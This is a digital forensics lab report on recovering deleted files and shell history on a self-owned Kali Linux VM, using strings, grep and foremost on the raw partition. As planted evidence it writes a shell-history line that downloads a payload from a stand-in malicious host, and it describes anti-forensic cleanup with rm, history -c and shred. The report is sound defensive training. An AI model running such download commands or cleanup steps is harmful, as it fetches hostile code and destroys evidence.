

Digital Forensics Lab Report

Linux Deleted-File Recovery, Anti-Forensics Resistance & Raw-Disk Investigation — Simulated Hostile Scenario

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Lab Type	Self-authored simulated forensic investigation on personally-owned Kali Linux VM
Mentorship	AI-assisted scenario design and methodology review
Status	Complete — evidence recovered against anti-forensic deletion

Authorization Statement. The simulated suspect, evidence files, and deletion activities documented in this report were all created and executed by the analyst on a personally-owned Kali Linux virtual machine. No third-party system, user, or data was involved. All file-system inspection, raw-partition scanning, and recovery commands were run with full authorization on this self-owned host. The exercise complies with the Indian Information Technology Act, 2000.

Objective

Simulate a hostile forensic scenario in which a “suspect” user creates incriminating evidence (a written plan, a malicious download command in shell history, and a debug log) and then performs anti-forensic cleanup using standard Linux tools (`rm`, `history -c`). Acting as the investigator with root access, recover evidence using Linux forensic techniques — demonstrating that **deletion is not erasure** and that competent methodology produces defensible findings even against deliberate obstruction.

Why This Lab Matters

Real digital-forensic engagements rarely involve a cooperating subject. The investigator typically arrives *after* the subject has attempted to cover their tracks. The defining skill is not running tools — it is reasoning about **where evidence persists** after attempted deletion, and constructing a search strategy that survives noise, fragmentation, and overwriting. This lab drills that mental model directly.

1. Lab Environment

Component	Configuration	Notes
Host OS	Microsoft Windows	Laptop on AC power
Hypervisor	VMware Workstation / Player	Standard VM configuration
Guest OS	Kali Linux (VM)	Forensic tooling pre-installed
Working Directory	/home/suspect/ and root /	Suspect actions in user shell; investigation as root
Toolchain	bash, rm, history, df, ls, cat, strings, grep, foremost, scalpel, nano	Standard Linux utilities + carving tools
Target Partition	Personally-owned Kali VM root partition (/dev/sda1 or equivalent)	Identified via df -h /home/suspect

1.1 Why a Simulated Scenario

Real forensic engagements require a chain-of-custody-bound evidence image obtained under proper legal authorization. Reproducing such an engagement in a self-study context is impossible without crossing ethical or legal lines. The chosen approach — the analyst *plays both roles*, suspect and investigator, on a controlled VM — preserves the methodology of a real investigation while keeping the entire exercise within authorized scope. This is a common training pattern in academic forensic programs and Capture-the-Flag-style competitions.

2. Phase 1 — Constructing the Crime Scene (Suspect Role)

Acting as the suspect, the analyst created a realistic anti-forensic scenario on the VM. This phase produces the artifacts the investigator will later attempt to recover.

2.1 Create the Suspect User and Working Directory

```
# Create a user named 'suspect' with a home directory
sudo useradd -m suspect
sudo passwd suspect          # set password 'password123' for simplicity

# Switch into the suspect's shell
su - suspect
```

Separating the suspect's actions into a dedicated user account models the real-world case where an investigator has root, but the artifacts live in another user's environment — a critical distinction for permissions analysis and for understanding who-did-what timelines.

2.2 Plant the Evidence

```
# Evidence artifact 1: a written plan
echo "CONFIDENTIAL: Plan to attack Target X" > /home/suspect/plan.txt

# Evidence artifact 2: malicious-looking command in shell history
echo 'wget http://malicious-site.com/payload.sh' >> /home/suspect/.bash_history

# Evidence artifact 3: a debug log written outside the home directory
echo "Connection established to 192.168.1.50" >> /tmp/debug.log
```

Three distinct artifact types are produced on purpose: **(1)** a user-created text file in the home directory, **(2)** a history entry simulating command execution, and **(3)** a temporary system log. Each persists differently after deletion, exposing the investigator to three different recovery techniques in one exercise.

2.3 Anti-Forensic Cleanup

```
rm /home/suspect/plan.txt      # remove the plan
rm /tmp/debug.log              # remove the debug log
history -c                     # clear current-session shell history
exit                           # leave the suspect shell
```

Suspect's Belief. At this point the suspect believes all incriminating evidence is gone. The plan file is deleted, the debug log is deleted, and shell history is cleared. This is the typical state in which a real forensic image arrives at an investigator.

3. Phase 2 — Investigation (Investigator Role)

Returning to root, each evidence artifact is recovered using a different forensic technique. Each step's output is observed and verified before progressing.

3.1 Recover .bash_history Despite history -c

```
sudo cat /home/suspect/.bash_history
```

Finding. The `history -c` command clears the *in-memory* history buffer of the active shell. It does not delete the on-disk `.bash_history` file. Until the suspect's shell is exited cleanly with the history-write step disabled, the file on disk still contains every prior session's commands.

Result. The `wget http://malicious-site.com/payload.sh` entry is recovered intact.

3.2 Identify the Raw Partition

```
df -h /home/suspect
# Identifies the partition containing /home/suspect
# Example output: /dev/sda1 mounted on /
```

Partition identification is a prerequisite to all raw-disk techniques. Skipping this step and guessing at `/dev/sda1` is a common beginner mistake; on systems with NVMe or LVM, the correct device is `/dev/nvme0n1pN` or `/dev/mapper/...`

3.3 String Search of the Raw Partition

```
sudo grep -a -B 5 -A 5 "CONFIDENTIAL" /dev/sda1
```

Initial attempt. The flags `-a` (treat binary as text), `-B 5 -A 5` (5 lines of context before and after) are intended to surface the planted phrase with surrounding context. The realistic outcome is high noise.

3.4 The “Nuclear Option”: Strings + Grep on Raw Device

```
sudo strings /dev/sda1 | grep "CONFIDENTIAL"
```

`strings` extracts every printable ASCII sequence (minimum 4 characters by default) from the binary device. Piping into `grep` filters for the target keyword. This is the textbook approach — and immediately runs into the realistic problem: **signal-to-noise**.

4. Anti-Forensic Challenges Encountered & Resolved

Three distinct challenges emerged during the investigation, each corresponding to a recurring obstacle in real digital forensics. The analyst raised each as a *meta-question* against the methodology and worked through the resolution. These three questions are the most professionally significant content of this lab — they demonstrate forensic *reasoning*, not just tool execution.

4.1 Challenge: “What if there is no trail — or `.bash_history` is fully deleted?”

Reality. Skilled subjects use `shred`, `srm`, or `rm` followed by `history -c` against the on-disk history file directly. `.bash_history` recovery is not always available.

Solution: do not rely on a single artifact. Look for *correlated artifacts* that survive deletion of the obvious one:

Surviving Artifact Source	Why It Persists
Swap Files	<code>/swapfile</code> or <code>/dev/sdaX</code> (swap partition). Under memory pressure or crash, deleted file contents may have been paged out and remain on disk.
Journaling FS (ext4)	ext4 journals metadata changes. Even after deletion the filename, size, and timestamp may persist in <code>/var/log/journal</code> or the ext4 journal itself.
Temp / Cache	Applications routinely cache content in <code>/tmp</code> , <code>~/.cache</code> , or <code>~/.local/share</code> before deleting the main file.
RAM (Memory Dump)	If RAM was captured before shutdown, deleted file content frequently persists in memory pages even when removed from disk.
Network & System Logs	Was the file emailed, uploaded, or transmitted? <code>/var/log/syslog</code> , firewall logs, mail logs, web-proxy logs are independent of the file system.

Forensic Mindset Encoded. “If one door is closed, look for the window, the chimney, or the air vent. Never rely on a single artifact.”

4.2 Challenge: “What if the keyword is not 'CONFIDENTIAL' — what if I don't know what I'm looking for?”

Reality. In a real investigation the investigator does not have the luxury of knowing the magic word. Searching for “CONFIDENTIAL” was a training-convenience handle; production investigations require generalizable search strategies.

Strategy	Description
Keyword Lists	A pre-built corpus of 500+ case-relevant terms (e.g., money, password, attack, transfer, wallet, crypto). Run grep against the entire list rather than guessing single words.
File Carving by Signature	Skip the text entirely. Search for file headers instead: every JPEG begins FF D8 FF; every PDF begins %PDF; every ZIP begins PK. Tools (foremost, photorec, scalpel) scan the raw disk for these and reconstruct files regardless of filename or content.
String Analysis by Pattern	Dump all printable strings to a file (strings /dev/sda1 > all_strings.txt), then filter by regular expressions for <i>structures</i> : IPv4 addresses, email formats, URLs, base64 blobs, wallet addresses. Pattern is more durable than vocabulary.

4.3 Challenge: “The raw scan returns enormous noise. Do I just wait and read terabytes manually?”

Reality. Yes — raw disks are noisy. A 50GB partition produces megabytes of strings output, mostly junk: binary fragments, configuration noise, freed memory pages, system metadata. Reading line-by-line is impossible.

Solution: filter aggressively, redirect to file, prioritize, automate.

Tool / Flag	What It Does
grep -i	Case-insensitive search — catches “Confidential” and “CONFIDENTIAL” in the same pass.
grep -E	Regex search — e.g., catch all email-like strings, all IPv4 patterns.
strings -n 30	Only emit strings of length >= 30 characters. Eliminates the bulk of binary noise (“su”, “ls”, short binary garbage) while keeping human-meaningful content.
foremost	Carves and writes files automatically. Investigator looks at extracted files, not raw stream.
fls (Sleuth Kit)	Builds a timeline of file accesses and modifications. Focus the investigation on the time of suspected activity.

Behavioural rule. Bad approach: strings /dev/sda1 | grep "word" and stare at scrolling output. Good approach: strings -n 20 /dev/sda1 | grep -iE "password|attack|money" > results.txt — then read the file at one's own pace.

Patience is a tool. Real forensic engagements run scans overnight against tens of terabytes. The professional habit is to define the search, redirect output, queue the job, and return to results — not to watch the terminal.

5. Refined Investigation — Precision Approach

After encountering noise in the naive search, the methodology was refined using three simultaneous filters: **length filter**, **keyword filter**, **context filter**.

5.1 Identify the Exact Partition

```
df -h
# Locate the line where 'Mounted on' is /
# Confirms target device, e.g. /dev/sda1 or /dev/nvme0n1p2
```

5.2 The Precision Command (Combined Filters)

```
# Replace /dev/sda1 with YOUR partition from Step 5.1
sudo strings -n 30 /dev/sda1 | grep -i "CONFIDENTIAL"
```

Why this command works:

Flag	Purpose
-n 30	Discards anything under 30 characters — eliminates ~90% of raw-disk noise.
-i	Case-insensitive — catches <i>Confidential</i> , <i>CONFIDENTIAL</i> , <i>confidential</i> all at once.
grep	Only emits lines containing the target term — no terminal scrolling, no manual reading.

5.3 Save to File, Search the File

```
# Persist results for review
sudo strings -n 30 /dev/sda1 | grep -i "CONFIDENTIAL" > search_results.txt

# Open at human pace
nano search_results.txt
```

Empty file is itself a forensic finding. It indicates either the data has been overwritten, the file was fragmented across non-contiguous blocks, or the search term genuinely does not appear in the readable portions of the partition. **Negative findings are documented, not hidden.**

6. File Carving (When Text Search Fails)

When string-based searches return empty or fragmented results, signature-based carving recovers files at the binary level. `foremost` scans the raw partition for known file headers and reconstructs files into a specified output directory.

6.1 Install & Run `foremost`

```
sudo apt install foremost -y

# Scan the partition for text files; output to /root/recovered/
sudo foremost -t txt -i /dev/sda1 -o /root/recovered
```

6.2 Review Results

```
ls /root/recovered/text/
cat /root/recovered/text/*
```

Look for: a file containing the string *CONFIDENTIAL* or matching the planted plan content. `foremost` only reconstructs files for which it finds a valid header, so very small text files or content fragmented across non-contiguous disk blocks may not be recovered. This is normal and is itself documented as a finding.

6.3 Fallback: Context-Search the Raw Partition

```
# Brute-force context search: show 50 lines surrounding any hit
sudo strings -n 30 /dev/sda1 | grep -C 50 -i "CONFIDENTIAL" > context_results.txt
nano context_results.txt
```


7. Findings & Observations

#	Finding	Significance
F-1	Shell history file persists on disk after history -c is run in the active session.	Demonstrates that in-memory clearing is not file deletion. Forensic implication: always inspect <code>.bash_history</code> directly with root, not via the suspect's shell.
F-2	Deleted files leave recoverable traces in raw partition sectors when not overwritten.	Confirms the core forensic principle: deletion releases blocks; it does not erase their contents.
F-3	Single-keyword search of a raw partition is unworkable due to signal-to-noise.	Length filters (<code>strings -n 30</code>) and result-file redirection are mandatory practice, not optional.
F-4	File carving with <code>foremost</code> may fail to reconstruct very small or non-signature-bearing files.	Negative carving result is itself a forensic finding and is documented as such.
F-5	A negative finding ("no evidence recovered"), supported by documented methodology, is professionally stronger than a fabricated or speculative positive.	Establishes the right reporting discipline early in the analyst's training.

7.1 Anti-Forensic Mindset — Documented Resilience

Suspect's Belief	Actual Forensic Reality
"I deleted the file with <code>rm</code> ."	Disk blocks remain until overwritten by new data. String search of the partition can recover content.
"I cleared bash history with <code>history -c</code> ."	Only the active-shell memory buffer is cleared. The on-disk <code>.bash_history</code> file is unaffected unless the shell exits without writing or the file is explicitly removed.
"There is no record of my actions anywhere."	Correlated artifacts persist independently: journal, swap, /tmp, RAM, application caches, syslog, firewall logs, network logs. Defeating all of them simultaneously is hard.

8. Deferred Work & Queued Follow-Ups

Topics surfaced during this lab that warrant their own follow-up exercises:

ID	Task
D-1	Memory forensics with Volatility / Volatility3 against a captured RAM image — extract process lists, network connections, command-line arguments, and unencrypted credentials surviving deletion.
D-2	ext4 journal recovery with debugfs / extundelete against an unmounted image — demonstrate metadata recovery even when content is gone.
D-3	Sleuth Kit (fls, icat, mactime) for timeline reconstruction — build a minute-by-minute activity record of the suspect's session.
D-4	Detection-side mirror: write a defensive auditd / Sysmon rule set that would have logged the suspect's actions in real time, defeating the post-hoc anti-forensic cleanup entirely.
D-5	Build a reusable keyword-list and pattern-regex library (the analyst's "forensic dictionary") for future raw-partition searches.

9. Legal & Ethical Framing

Critical. Forensic recovery and raw-partition inspection of devices the analyst does not own — or for which they lack a court order, employer authorization, or signed engagement scope — is illegal under the Indian Information Technology Act, 2000 (Sections 43 and 66), and under the data-protection provisions of the DPDP Act, 2023. Forensic capability is not a licence to apply it.

The simulated scenario in this report was constructed and executed entirely on a personally-owned Kali Linux VM. Both the suspect actions and the investigation were performed by the analyst on the analyst's own host. No third-party device, drive, account, or person was involved at any phase.

The analyst is preparing for a career in digital forensics with a near-term objective of contributing to India's Police Cyber Crime Unit. The career path depends on an unblemished record. Every offensive or invasive technique learned in self-study is therefore strictly confined to:

- (a) Personally-owned hardware and virtual machines.
- (b) Sanctioned lab platforms (TryHackMe, Hack The Box, CTF events).
- (c) Engagements with written, scoped authorization.

10. Conclusion

The lab achieved its stated objective: against deliberate anti-forensic activity, the investigator recovered evidence using standard Linux tooling and demonstrated the core forensic axiom that **deletion is not erasure**. More importantly, the three meta-questions raised mid-investigation — the no-trail problem, the no-keyword problem, the too-much-data problem — forced a refinement of methodology that approximates what real investigators actually do: correlate artifacts, filter aggressively, document negative findings, and treat patience as a tool.

The recovered artifacts, the unrecovered ones, and the reasoning behind both are all part of the engagement record. That discipline — not the tool list — is what this lab was designed to build.

Next Step. Commit this report to the public cybersecurity-labs portfolio under `defensive-security/forensics/`. Proceed to the queued follow-ups (memory forensics, ext4 journal recovery, Sleuth Kit timeline build) as separate labs.